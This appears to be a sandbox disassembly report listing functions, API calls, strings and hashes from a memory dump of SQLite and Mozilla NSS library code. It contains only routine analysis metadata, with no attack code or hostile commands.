Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: memcpy$strlen
String ID: $$%02x$%lld$'%.*q'$-- $NULL$zeroblob(%d)
API String ID: 2619041689-2155869073
Opcode ID: 558c83fcba7a03fcdfd0eb217b0910e84bcd68c24820d3f35ea5a90c0f8ee7b5
Instruction ID: a5bcdac952b0ff1b99e5b5b0431c72122d463c61ff6a231c2673e019767212e0
Opcode Fuzzy Hash: 558c83fcba7a03fcdfd0eb217b0910e84bcd68c24820d3f35ea5a90c0f8ee7b5
Instruction Fuzzy Hash: 88E1A0719083809FD724CF14C490A6BBBF5EF85358F09891DE9A98BB51D731E849CB63

Function 6CB78FB0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 289COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CB78FEE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB790DC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB79118
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB7915C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB791C2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB79209

Strings

UUUU, xrefs: 6CB79255
3333, xrefs: 6CB7925E

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: _byteswap_ulong$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: 3333$UUUU
API String ID: 1967222509-2679824526
Opcode ID: 7057ea5c2829098b4fb65eae29efd4d57d64a143c483a4be14f38d3b60a92315
Instruction ID: b0d5975c11710cbd2b60a041608120fafdab9d6b8206a2527f1dc4fdb4b851a8
Opcode Fuzzy Hash: 7057ea5c2829098b4fb65eae29efd4d57d64a143c483a4be14f38d3b60a92315
Instruction Fuzzy Hash: FEA1CE72E001559BDB14CB68CC95BAEB7B5FF48328F0A4129ED15B7381E736AC01CBA1

Function 6CA30FE0 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 6CA2CA30: EnterCriticalSection.KERNEL32(?,?,?,6CA8F9C9,?,6CA8F4DA,6CA8F9C9,?,?,6CA5369A), ref: 6CA2CA7A
Part of subcall function 6CA2CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CA2CB26

memset.VCRUNTIME140(00000000,00000000,00000C0A), ref: 6CA3103E
EnterCriticalSection.KERNEL32(?), ref: 6CA31139
LeaveCriticalSection.KERNEL32(?), ref: 6CA31190
sqlite3_free.NSS3(00000000), ref: 6CA31227
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,00000001,0000BCFE), ref: 6CA3126E
sqlite3_free.NSS3(?), ref: 6CA3127F

Strings

winAccess, xrefs: 6CA3129B
delayed %dms for lock/sharing conflict at line %d, xrefs: 6CA31267

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_free$memsetsqlite3_log
String ID: delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 2733752649-1873940834
Opcode ID: bc414991186988620b3008e1c9a1f740b351ce00d57faca0f1010cfafb956744
Instruction ID: a7d9f61fff317851d505695be60bc2138f55e41f6aae43023a0ce676f5868241
Opcode Fuzzy Hash: bc414991186988620b3008e1c9a1f740b351ce00d57faca0f1010cfafb956744
Instruction Fuzzy Hash: 827119317042619BEB04DF64ECA5ABF3375EB46318F19122DFA29D7A80DB31D885C792

Function 6CA3AEC0 Relevance: 13.7, APIs: 9, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6CB5CF46,?,6CA2CDBD,?,6CB5BF31,?,?,?,?,?,?,?), ref: 6CA3B039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CB5CF46,?,6CA2CDBD,?,6CB5BF31), ref: 6CA3B090
sqlite3_free.NSS3(?,?,?,?,?,?,6CB5CF46,?,6CA2CDBD,?,6CB5BF31), ref: 6CA3B0A2
CloseHandle.KERNEL32(?,?,6CB5CF46,?,6CA2CDBD,?,6CB5BF31,?,?,?,?,?,?,?,?,?), ref: 6CA3B100
sqlite3_free.NSS3(?,?,00000002,?,6CB5CF46,?,6CA2CDBD,?,6CB5BF31,?,?,?,?,?,?,?), ref: 6CA3B115
sqlite3_free.NSS3(?,?,?,?,?,?,6CB5CF46,?,6CA2CDBD,?,6CB5BF31), ref: 6CA3B12D

Part of subcall function 6CA29EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6CA3C6FD,?,?,?,?,6CA8F965,00000000), ref: 6CA29F0E
Part of subcall function 6CA29EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CA8F965,00000000), ref: 6CA29F5D

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID:
API String ID: 3155957115-0
Opcode ID: 3a46388f25a090d1c362360ef3f95d0e9c3576f51f7ea013bef1cc65339e5295
Instruction ID: d137d780e06785e1d33d949a15799e145fe71f971f188294dc2e40fadc5e2cab
Opcode Fuzzy Hash: 3a46388f25a090d1c362360ef3f95d0e9c3576f51f7ea013bef1cc65339e5295
Instruction Fuzzy Hash: 3F91FFB0A046258FDB04CF78D890B6BB7B2BF45308F18562DE41AD7B50EB35E884CB51

Function 6CB0BD30 Relevance: 13.6, APIs: 9, Instructions: 102COMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6CB0BD48
NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6CB0BD68
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6CB0BD83
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6CB0BD9E
NSS_GetAlgorithmPolicy.NSS3(0000000A,?), ref: 6CB0BDB9
NSS_GetAlgorithmPolicy.NSS3(00000007,?), ref: 6CB0BDD0
NSS_GetAlgorithmPolicy.NSS3(000000B8,?), ref: 6CB0BDEA
NSS_GetAlgorithmPolicy.NSS3(000000BA,?), ref: 6CB0BE04
NSS_GetAlgorithmPolicy.NSS3(000000BC,?), ref: 6CB0BE1E

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: AlgorithmPolicy
String ID:
API String ID: 2721248240-0
Opcode ID: def3c65996dd1bf2f36248e1d7a4e2b4f88342a4154a36f83e7bea899c807da9
Instruction ID: 86bd46205c8445296d1ef2e7379b3567078408674d46f7227c0751d68aa961a1
Opcode Fuzzy Hash: def3c65996dd1bf2f36248e1d7a4e2b4f88342a4154a36f83e7bea899c807da9
Instruction Fuzzy Hash: 1A21F577F006D95BFB004A5BAC47F8F7A78EB91B4DF080524F916EE641E7509418C2A3

Function 6CBB8D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CC014E4,6CB6CC70), ref: 6CBB8D47
PR_GetCurrentThread.NSS3 ref: 6CBB8D98

Part of subcall function 6CA90F00: PR_GetPageSize.NSS3(6CA90936,FFFFE8AE,?,6CA216B7,00000000,?,6CA90936,00000000,?,6CA2204A), ref: 6CA90F1B
Part of subcall function 6CA90F00: PR_NewLogModule.NSS3(clock,6CA90936,FFFFE8AE,?,6CA216B7,00000000,?,6CA90936,00000000,?,6CA2204A), ref: 6CA90F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6CBB8E7B
htons.WSOCK32(?), ref: 6CBB8EDB
PR_GetCurrentThread.NSS3 ref: 6CBB8F99
PR_GetCurrentThread.NSS3 ref: 6CBB910A

Strings

%u.%u.%u.%u, xrefs: 6CBB8E74

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: 8ba4671b71e370e2a0d81e9b91286f713fdd6d0d55cdb7278b0dc4708f64c52f
Instruction ID: 7af6342d7b94ed8b1ca58de96a18947d229e21e755d232e9553247f9623b3de1
Opcode Fuzzy Hash: 8ba4671b71e370e2a0d81e9b91286f713fdd6d0d55cdb7278b0dc4708f64c52f
Instruction Fuzzy Hash: 6002AA31D062D28FDB14CF19C46837ABBB2EF52304F1A825ED8956FA91CB32D949C791

Function 6CA3EFB0 Relevance: 12.1, Strings: 9, Instructions: 815COMMON

Download Yara Rule

Strings

table, xrefs: 6CA3F05C, 6CA3FABC, 6CA3FAC7
%s %T already exists, xrefs: 6CA3FAC8
there is already an index named %s, xrefs: 6CA3F9D7
view, xrefs: 6CA3F061, 6CA3F071, 6CA3FAB7
temporary table name must be unqualified, xrefs: 6CA3F734
authorizer malfunction, xrefs: 6CA3F95C, 6CA3F9BF, 6CA3FA5E, 6CA3FA8B
sqlite_temp_master, xrefs: 6CA3F0A6, 6CA3F2D5
not authorized, xrefs: 6CA3F957, 6CA3F9BA
sqlite_master, xrefs: 6CA3F0AB, 6CA3F2DA, 6CA3F757, 6CA3F93E

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: %s %T already exists$authorizer malfunction$not authorized$sqlite_master$sqlite_temp_master$table$temporary table name must be unqualified$there is already an index named %s$view
API String ID: 3168844106-1126224928
Opcode ID: 7d0543708bdaca4dff75ac38cc6133f42f609d369f838f27fff98ea1af5ba8c2
Instruction ID: 2d2e66bb604ecf9ecd0dfca950552542f0e569fabd909893592991ed24db327c
Opcode Fuzzy Hash: 7d0543708bdaca4dff75ac38cc6133f42f609d369f838f27fff98ea1af5ba8c2
Instruction Fuzzy Hash: 9472E370E142258FDB14CF68C894BAABBF1BF49308F1881ADD818DB752D775E885CB90

Function 6CB59C40 Relevance: 11.1, APIs: 3, Strings: 3, Instructions: 565COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,00000000,6CA2C52B), ref: 6CB59D53
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014960,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB5A035
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000149AD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB5A114

Strings

database corruption, xrefs: 6CB5A029, 6CB5A108
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB5A01F, 6CB5A0E4, 6CB5A0FE
%s at line %d of [%.10s], xrefs: 6CB5A02E, 6CB5A10D

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: sqlite3_log$memcmp
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 717804543-598938438
Opcode ID: b6907a72fa8c63621c4459edafbb1a4e848c1eac0db575d4da9342b350a78172
Instruction ID: 363f41017b69969996d46cfe8f1509604495f536b1bcf91c81d818a86c651eac
Opcode Fuzzy Hash: b6907a72fa8c63621c4459edafbb1a4e848c1eac0db575d4da9342b350a78172
Instruction Fuzzy Hash: 5722B071A083818FC704CF29C49062AB7E1FFCA344F948A2DE9DAA7651D735E856CB52

Function 6CB79D90 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 237COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,6CA38637,?,?), ref: 6CB79E88
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011166,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,?,?,6CA38637), ref: 6CB79ED6

Strings

database corruption, xrefs: 6CB79ECA
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB79EC0
%s at line %d of [%.10s], xrefs: 6CB79ECF

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 3383a4e05779afdc14cbc426a4d81b06e8c47c7c11f6448c2af7c45f12fad879
Instruction ID: 4aa375e33c79194448a5529a6163f580c682982272655f706d1133b8919e00ae
Opcode Fuzzy Hash: 3383a4e05779afdc14cbc426a4d81b06e8c47c7c11f6448c2af7c45f12fad879
Instruction Fuzzy Hash: D3818F31F012558FDB14CF6AC981ADEB3B6EF48304B158529EC29ABB41E731ED49CB61

Function 6CB87F20 Relevance: 7.7, APIs: 2, Strings: 2, Instructions: 713COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000000,?), ref: 6CB881BC

Strings

BINARY, xrefs: 6CB88126
out of memory, xrefs: 6CB8835B

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: memset
String ID: BINARY$out of memory
API String ID: 2221118986-3971123528
Opcode ID: 0be5d665f0f7d4e27b83bf0ac44166dc103d1e34cf373731831c2b56d738f2a3
Instruction ID: e387a5ce6dd907470a3a803ffadbb6c5aa34c6a401b8fbdf48efb055df9f7881
Opcode Fuzzy Hash: 0be5d665f0f7d4e27b83bf0ac44166dc103d1e34cf373731831c2b56d738f2a3
Instruction Fuzzy Hash: 1F52B271E06298DFDB14CF99C890BAEBBB2FF48318F14815AD815AB751D731AC46CB81

Function 6CB09EC0 Relevance: 7.6, APIs: 5, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CB09ED6

Part of subcall function 6CB014C0: TlsGetValue.KERNEL32 ref: 6CB014E0
Part of subcall function 6CB014C0: EnterCriticalSection.KERNEL32 ref: 6CB014F5
Part of subcall function 6CB014C0: PR_Unlock.NSS3 ref: 6CB0150D

PORT_ArenaAlloc_Util.NSS3(?,00000024), ref: 6CB09EE4

Part of subcall function 6CB010C0: TlsGetValue.KERNEL32(?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB010F3
Part of subcall function 6CB010C0: EnterCriticalSection.KERNEL32(?,?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB0110C
Part of subcall function 6CB010C0: PL_ArenaAllocate.NSS3(?,?,?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB01141
Part of subcall function 6CB010C0: PR_Unlock.NSS3(?,?,?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB01182
Part of subcall function 6CB010C0: TlsGetValue.KERNEL32(?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB0119C

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CB09F38

Part of subcall function 6CB0D030: PORT_NewArena_Util.NSS3(00000400,00000000,?,00000000,?,6CB09F0B), ref: 6CB0D03B
Part of subcall function 6CB0D030: PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6CB0D04E
Part of subcall function 6CB0D030: SECOID_FindOIDByTag_Util.NSS3(00000019), ref: 6CB0D07B
Part of subcall function 6CB0D030: SECITEM_CopyItem_Util.NSS3(00000000,-00000018,00000000), ref: 6CB0D08E
Part of subcall function 6CB0D030: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CB0D09D

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CB09F49
SEC_PKCS7DestroyContentInfo.NSS3(?), ref: 6CB09F59

Part of subcall function 6CB09D60: PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6CB09C5B), ref: 6CB09D82
Part of subcall function 6CB09D60: PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6CB09C5B), ref: 6CB09DA9
Part of subcall function 6CB09D60: PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6CB09C5B), ref: 6CB09DCE
Part of subcall function 6CB09D60: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6CB09C5B), ref: 6CB09E43

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Arena_CriticalEnterErrorGrow_Mark_SectionUnlock$AllocateContentCopyDestroyFindFreeInfoItem_Tag_
String ID:
API String ID: 4287675220-0
Opcode ID: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction ID: 4f573477a77d6e9fbee768d4f884a6f14ceb1f7ce4b000caade56e6cc57b079e
Opcode Fuzzy Hash: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction Fuzzy Hash: F6112EB5F042815BFB109B759C0079F7B54EF9474CF144135F50A8B740FB61F9188292

Function 6CBBCDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBBD086
PR_Malloc.NSS3(00000001), ref: 6CBBD0B9
PR_Free.NSS3(?), ref: 6CBBD138

Strings

>, xrefs: 6CBBCF5B

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: 21a10049aaa84002bb748e82620d7987e9d7e900f2a40676eba387915cbde523
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: 45D12962B819C64BEB14887C98713FA7797C782374F584325D521BBBE9EE3D88478342

Function 6CB5AD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: edabb7f30a4d4231599ea1d4a158fd8f1add8623503cadfde3d9748f3f5983ea
Instruction ID: 0d057dee6387eb360eee05742b57a361fbdae1012a2ff4a827c85645dd6b43ba
Opcode Fuzzy Hash: edabb7f30a4d4231599ea1d4a158fd8f1add8623503cadfde3d9748f3f5983ea
Instruction Fuzzy Hash: FBF1BB71F012958BDB04CF28E8417BEB7F5EB4A308F55422DC925E7B44EB70A962CB91

Function 6CB4DFC0 Relevance: 6.3, APIs: 3, Strings: 1, Instructions: 344stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6CA25001,?,00000003,00000000), ref: 6CB4DFD7
memset.VCRUNTIME140(00000000,00000000,?,?,?,00000003,?,6CA25001,?), ref: 6CB4E2B7
memcpy.VCRUNTIME140(00000028,00000003,?,?,?,?,?,?,00000003,?,6CA25001,?), ref: 6CB4E2DA

Strings

W, xrefs: 6CB4E111

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: memcpymemsetstrlen
String ID: W
